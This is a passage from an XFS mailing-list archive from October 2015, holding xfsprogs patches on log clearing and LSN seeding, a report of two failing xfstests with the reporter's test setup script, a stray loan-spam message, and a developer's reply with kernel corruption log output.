sufficient for v5 filesystems, which must have the log cleared to an LSN that is guaranteed to be ahead of any LSN that has been previously stamped into on-disk metadata. Update libxfs_log_clear() to support the ability to format the log to an arbitrary cycle number. First, the log is physically zeroed. A log record is written to the first block of the log with the desired lsn and refers to the tail_lsn as the last record of the previous cycle. The rest of the log is filled with log records of the previous cycle. This causes the kernel to set the current LSN to start of the desired cycle number at mount time. Signed-off-by: Brian Foster --- libxfs/rdwr.c | 68 ++++++++++++++++++++++++++++++++++++++++++++++++++++------- 1 file changed, 60 insertions(+), 8 deletions(-) diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index da781da..93f6eb7 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -156,26 +156,78 @@ libxfs_log_clear( xfs_buf_t *bp; int len; xfs_lsn_t lsn; + xfs_lsn_t tail_lsn; + xfs_daddr_t blk; + xfs_daddr_t end_blk; if (!btp->dev || !fs_uuid) return -EINVAL; - if (cycle != XLOG_INIT_CYCLE) - return -EINVAL; - - lsn = xlog_assign_lsn(cycle, 0); - /* first zero the log */ libxfs_device_zero(btp, start, length); - /* then write a log record header */ + /* + * Initialize the log record length and LSNs. XLOG_INIT_CYCLE is a + * special reset case where we only write a single record where the lsn + * and tail_lsn match. Otherwise, the record lsn starts at block 0 of + * the specified cycle and points tail_lsn at the last record of the + * previous cycle. + */ len = ((version == 2) && sunit) ? BTOBB(sunit) : 2; len = MAX(len, 2); + lsn = xlog_assign_lsn(cycle, 0); + if (cycle == XLOG_INIT_CYCLE) + tail_lsn = lsn; + else + tail_lsn = xlog_assign_lsn(cycle - 1, length - len); + + /* write out the first log record */ bp = libxfs_getbufr(btp, start, len); - libxfs_log_header(XFS_BUF_PTR(bp), fs_uuid, version, sunit, fmt, lsn, - lsn, next, bp); + libxfs_log_header(XFS_BUF_PTR(bp), fs_uuid, version, sunit, fmt, + lsn, tail_lsn, next, bp); bp->b_flags |= LIBXFS_B_DIRTY; libxfs_putbufr(bp); + + /* + * There's nothing else to do if this is a log reset. The kernel detects + * the rest of the log is zeroed and starts at cycle 1. + */ + if (cycle == XLOG_INIT_CYCLE) + return 0; + + /* + * Otherwise, fill everything beyond the initial record with records of + * the previous cycle so the kernel head/tail detection works correctly. + * + * We don't particularly care about the record size or content here. + * It's only important that the headers are in place such that the + * kernel finds 1.) a clean log and 2.) the correct current cycle value. + * Therefore, bump up the record size to the max to use larger I/Os and + * improve performance. + */ + cycle--; + blk = start + len; + end_blk = start + length; + + len = min(end_blk - blk, BTOBB(BDSTRAT_SIZE)); + while (blk < end_blk) { + lsn = xlog_assign_lsn(cycle, blk - start); + tail_lsn = xlog_assign_lsn(cycle, blk - start - len); + + bp = libxfs_getbufr(btp, blk, len); + /* + * Note: pass the full buffer length as the sunit to initialize + * the entire buffer. + */ + libxfs_log_header(XFS_BUF_PTR(bp), fs_uuid, version, BBTOB(len), + fmt, lsn, tail_lsn, next, bp); + bp->b_flags |= LIBXFS_B_DIRTY; + libxfs_putbufr(bp); + + len = min(end_blk - blk, BTOBB(BDSTRAT_SIZE)); + blk += len; + } + return 0; } -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 224CC29E40 for ; Fri, 2 Oct 2015 13:20:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 02EF0304032 for ; Fri, 2 Oct 2015 11:20:22 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04bdf046261bb0b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Vdu9veHtRykEKJAH (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:57 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 881B12FE845 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJvA9031595 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id CAF1C1203DF; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 11/18] xfs_repair: seed the max lsn from log state in phase 2 Date: Fri, 2 Oct 2015 14:19:48 -0400 X-ASG-Orig-Subj: [PATCH v3 11/18] xfs_repair: seed the max lsn from log state in phase 2 Message-Id: <1443809995-20395-12-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 At this point, the log state is always available once repair has progressed through phase 2 and the log is only ever zeroed when absolutely necessary. This means that in the common case, repair runs with the log in a non-initialized state. The libxfs max metadata LSN tracking initializes the max LSN to zero, however, which will require updates throughout the repair process even if all metadata LSNs are behind the current LSN. Since all metadata LSNs that are behind the current LSN are valid, seed the libxfs maximum seen LSN value with the log state from phase 2. This is a minor optimization to minimize global variable updates in the common case where all (or most) metadata LSNs are valid. Signed-off-by: Brian Foster --- repair/phase2.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/repair/phase2.c b/repair/phase2.c index fe7ed2b..f9d0e22 100644 --- a/repair/phase2.c +++ b/repair/phase2.c @@ -126,6 +126,13 @@ zero_log( if (error || head_blk != tail_blk) do_error(_("failed to clear log")); } + + /* + * Finally, seed the max LSN from the current state of the log if this + * is a v5 filesystem. + */ + if (xfs_sb_version_hascrc(&mp->m_sb)) + libxfs_max_lsn = log->l_last_sync_lsn; } /* -- 2.1.0 From ross.zwisler@linux.intel.com Fri Oct 2 13:25:32 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5349F29DF9 for ; Fri, 2 Oct 2015 13:25:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 48E998F8033 for ; Fri, 2 Oct 2015 11:25:32 -0700 (PDT) X-ASG-Debug-ID: 1443810329-04cbb033b11d6c70001-NocioJ Received: from mga01.intel.com ([192.55.52.88]) by cuda.sgi.com with ESMTP id 0sJo6FssWrHR47i6 for ; Fri, 02 Oct 2015 11:25:29 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.88 X-ASG-Whitelist: EmailCat (corporate) Received: from orsmga001.jf.intel.com ([10.7.209.18]) by fmsmga101.fm.intel.com with ESMTP; 02 Oct 2015 11:12:54 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,624,1437462000"; d="scan'208";a="782967226" Received: from theros.lm.intel.com (HELO linux.intel.com) ([10.232.112.146]) by orsmga001.jf.intel.com with ESMTP; 02 Oct 2015 11:12:51 -0700 Date: Fri, 2 Oct 2015 12:12:50 -0600 From: Ross Zwisler To: Ross Zwisler Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: two failing xfstests using xfs (no DAX) Message-ID: <20151002181250.GA12659@linux.intel.com> X-ASG-Orig-Subj: Re: two failing xfstests using xfs (no DAX) References: <20151002174941.GA25082@linux.intel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151002174941.GA25082@linux.intel.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: UNKNOWN[192.55.52.88] X-Barracuda-Start-Time: 1443810329 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 02, 2015 at 11:49:41AM -0600, Ross Zwisler wrote: > Recently I've been trying to get a stable baseline for my DAX testing using > various filesystems, and in doing so I noticed a pair of tests that were > behaving badly when run on XFS without DAX. These test failures happen in > both v4.2 and v4.3-rc3, though the signatures may vary a bit. > > My testing setup is a kvm virtual machine with 8 GiB of its 16GiB of memory > reserved for PMEM using the mmap parameter (memmap=8G!8G) and with the > CONFIG_X86_PMEM_LEGACY config option enabled. I've attached my full kernel > config to this mail. Sorry, one more detail - I have my test setup so that both my scratch device and my test device are partitions on my PMEM ramdisk. export TEST_DEV=/dev/pmem0p1 export TEST_DIR=/mnt/xfstests_test export SCRATCH_DEV=/dev/pmem0p2 export SCRATCH_MNT=/mnt/xfstests_scratch function xfstests_init { parted -s $xfstests_dev mktable msdos parted -s -a optimal $xfstests_dev mkpart Primary 1 4GiB parted -s -a optimal $xfstests_dev mkpart Primary 4GiB 7GiB if [[ $test_fs == "xfs" ]]; then mkfs.xfs -f $TEST_DEV mkfs.xfs -f $SCRATCH_DEV elif [[ $test_fs == "ext4" ]]; then mkfs.ext4 -F $TEST_DEV mkfs.ext4 -F $SCRATCH_DEV elif [[ $test_fs == "ext2" ]]; then mkfs.ext2 -F $TEST_DEV mkfs.ext2 -F $SCRATCH_DEV else echo "Invalid test fs '$test_fs'" fi } From MAILER-DAEMON Fri Oct 2 13:55:23 2015 Return-Path: <> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.8 required=5.0 tests=FH_FROMEML_NOTLD, FREEMAIL_FORGED_REPLYTO,FROM_NO_USER,TO_MALFORMED,TVD_SPACE_RATIO autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 708EE29DF6 for ; Fri, 2 Oct 2015 13:55:23 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6B7228F8049 for ; Fri, 2 Oct 2015 11:55:23 -0700 (PDT) X-ASG-Debug-ID: 1443812121-04cbb033b01d76a0001-NocioJ Received: from nhenri.pnri.dost.gov.ph (nhenri.pnri.dost.gov.ph [202.90.158.228]) by cuda.sgi.com with ESMTP id 45akEfRMuQeQKlPx for ; Fri, 02 Oct 2015 11:55:22 -0700 (PDT) X-Barracuda-Envelope-From: X-Barracuda-Apparent-Source-IP: 202.90.158.228 Received: from localhost (localhost [127.0.0.1]) by nhenri.pnri.dost.gov.ph (Postfix) with ESMTP id 6CFD1112ADF8; Sat, 3 Oct 2015 01:36:37 +0800 (PHT) Received: from nhenri.pnri.dost.gov.ph ([127.0.0.1]) by localhost (nhenri.pnri.dost.gov.ph [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id NIDD3FYgmfBv; Sat, 3 Oct 2015 01:36:37 +0800 (PHT) Received: from localhost (localhost [127.0.0.1]) by nhenri.pnri.dost.gov.ph (Postfix) with ESMTP id AAE53111DABD; Sat, 3 Oct 2015 01:06:32 +0800 (PHT) DKIM-Filter: OpenDKIM Filter v2.8.4 nhenri.pnri.dost.gov.ph AAE53111DABD X-Virus-Scanned: amavisd-new at nhenri.pnri.dost.gov.ph Received: from nhenri.pnri.dost.gov.ph ([127.0.0.1]) by localhost (nhenri.pnri.dost.gov.ph [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id 5nBOrpHEPPlL; Sat, 3 Oct 2015 01:06:32 +0800 (PHT) Received: from [116.202.130.105] (unknown [116.202.130.105]) by nhenri.pnri.dost.gov.ph (Postfix) with ESMTPSA id AD68711A94C5; Sat, 3 Oct 2015 00:24:03 +0800 (PHT) Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: taloudellista apua To: Recipients <> X-ASG-Orig-Subj: taloudellista apua From: Hanks Kenneth<> Date: Fri, 02 Oct 2015 21:49:04 +0530 Reply-To: cokerloanfinances@yahoo.com Message-Id: <20151002162403.AD68711A94C5@nhenri.pnri.dost.gov.ph> X-Barracuda-Connect: nhenri.pnri.dost.gov.ph[202.90.158.228] X-Barracuda-Start-Time: 1443812121 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.20 X-Barracuda-Spam-Status: No, SCORE=2.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ANY_BOUNCE_MESSAGE, BOUNCE_MESSAGE, BSF_SC7_SA298e, BSF_SC7_SA440_FLOANF, EMPTY_ENV_FROM, FROM_NO_USER, TO_MALFORMED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23126 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 TO_MALFORMED To: has a malformed address 0.00 EMPTY_ENV_FROM Empty Envelope From Address 0.50 FROM_NO_USER From: has no local-part before @ sign 0.20 BSF_SC7_SA298e Custom Rule SA298e 1.50 BSF_SC7_SA440_FLOANF Custom Rule SA440_FLOANF 0.00 BOUNCE_MESSAGE MTA bounce message 0.00 ANY_BOUNCE_MESSAGE Message is some kind of bounce message Tarvitsetko lainaa ??? jos kyll=E4 yst=E4v=E4llisesti saada takaisin meille= s=E4hk=F6postitse: cokerloanfinances@yahoo.com From bfoster@redhat.com Fri Oct 2 15:25:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8154D7F3F for ; Fri, 2 Oct 2015 15:25:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6AB9E304051 for ; Fri, 2 Oct 2015 13:25:21 -0700 (PDT) X-ASG-Debug-ID: 1443817499-04cbb033b31daed0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id BT10AHFcFpruAuxs (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 13:24:59 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id D1203ABB07; Fri, 2 Oct 2015 20:24:58 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92KOv8x005040; Fri, 2 Oct 2015 16:24:58 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 4280F1203DF; Fri, 2 Oct 2015 16:24:56 -0400 (EDT) Date: Fri, 2 Oct 2015 16:24:56 -0400 From: Brian Foster To: Ross Zwisler Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: two failing xfstests using xfs (no DAX) Message-ID: <20151002202454.GC51208@bfoster.bfoster> X-ASG-Orig-Subj: Re: two failing xfstests using xfs (no DAX) References: <20151002174941.GA25082@linux.intel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151002174941.GA25082@linux.intel.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443817499 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com On Fri, Oct 02, 2015 at 11:49:41AM -0600, Ross Zwisler wrote: > Recently I've been trying to get a stable baseline for my DAX testing using > various filesystems, and in doing so I noticed a pair of tests that were > behaving badly when run on XFS without DAX. These test failures happen in > both v4.2 and v4.3-rc3, though the signatures may vary a bit. > > My testing setup is a kvm virtual machine with 8 GiB of its 16GiB of memory > reserved for PMEM using the mmap parameter (memmap=8G!8G) and with the > CONFIG_X86_PMEM_LEGACY config option enabled. I've attached my full kernel > config to this mail. > > The first test failure is generic/299, which consistently deadlocks in the XFS > code in both v4.2 and v4.3-rc3. The stack traces presented in dmesg via "echo > w > /proc/sysrq-trigger" are consistent between these two kernel versions, and > can be found in the "generic_299.deadlock" attachment. > I hadn't normally been seeing either of these failures in my recent testing. A quick test didn't turn anything up, but then I replaced my test devices with a couple small ramdisks (given your setup) and hit the generic/299 hang. The backtraces look similar to yours: a bunch of threads waiting on agf buffer locks and an inode flush/writeback in progress. Nothing jumps out at me from the traces, so unless anybody else has any ideas I'd probably have to dig into it and figure out who owns the AGF buffer here and why it's stuck. > The second test failure is xfs/083, which in v4.2 seems to fail with an XFS > assertion (I have XFS_DEBUG turned on): > I see some unrelated mkdir error on xfs/083 against the ramdisks and my normal test devices. I see you have v4 filesystems so I reformatted with that and then I start to see verifier failures like below. I'm not sure why this doesn't occur on v5. Regardless, the test looks like a fuzzer test so this kind of thing is probably expected. Indeed, it's part of the 'dangerous_fuzzers' group under tests/xfs/group. It's probably not a test you want to run on a routine basis unless you explicitly want to do fuzzer/corruption testing. Brian > XFS: Assertion failed: fs_is_ok, file: fs/xfs/libxfs/xfs_dir2_data.c, line: 168 > > In v4.3, though, this same test seems to create some random memory corruption > in XFS. I've hit at least two failure signatures that look nothing alike > except they both look like somebody corrupted memory. > > I've attached logs of all three of these failures to this mail. > > Because of all the attachments I decided not to spam the fsdevel or > linux-kernel mailing lists - please let me know if this was correct, or if > there is a better way of sending along logs with bug reports. > > Thanks, > - Ross > [ 53.636917] run fstests xfs/083 at 2015-10-02 11:24:09 > [ 53.760098] XFS (pmem0p2): Unmounting Filesystem > [ 53.779642] XFS (pmem0p2): Mounting V4 Filesystem > [ 53.780606] XFS (pmem0p2): Ending clean mount > [ 87.506686] XFS (pmem0p2): Unmounting Filesystem > [ 87.516433] XFS (pmem0p2): Mounting V4 Filesystem > [ 87.519162] XFS (pmem0p2): Ending clean mount > [ 87.555099] XFS (pmem0p2): Unmounting Filesystem > [ 87.657682] XFS (pmem0p2): Mounting V4 Filesystem > [ 87.658598] XFS (pmem0p2): Ending clean mount > [ 87.669743] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.669745] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.669746] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.669748] ffff8801f9b21000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.669749] ffff8801f9b21010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.669750] ffff8801f9b21020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.669751] ffff8801f9b21030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.669752] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.669754] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.669756] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.669764] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.669765] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.669766] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.669767] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.669768] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.669769] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.669769] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.669770] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.669772] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.669773] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.669810] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.669811] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.669812] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.669813] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.669814] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.669815] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.669816] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.669817] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.669818] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.669819] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.669864] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.669865] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.669866] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.669867] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.669867] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.669868] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.669869] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.669877] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.669878] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.669880] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.669888] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.669889] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.669890] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.669891] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.669892] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.669893] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.669893] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.669894] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.669896] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.669897] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.669909] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.669910] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.669911] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.669912] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.669913] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.669913] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.669914] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.669915] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.669917] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.669918] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.669959] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.669960] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.669961] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.669962] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.669963] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.669963] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.669964] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.669965] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.669967] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.669968] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.669975] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.669976] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.669977] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.669978] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.669978] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.669979] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.669980] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.669981] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.669982] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.669984] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.669995] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.669996] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.669996] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.669997] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. > [ 87.669998] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ > [ 87.669999] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... > [ 87.670019] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... > [ 87.670020] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) > [ 87.670021] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 > [ 87.670023] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. > [ 87.670075] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 > [ 87.670076] XFS (pmem0p2): Unmount and run xfs_repair > [ 87.670077] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: > [ 87.670078] ffff8801f981e000: 49 4e 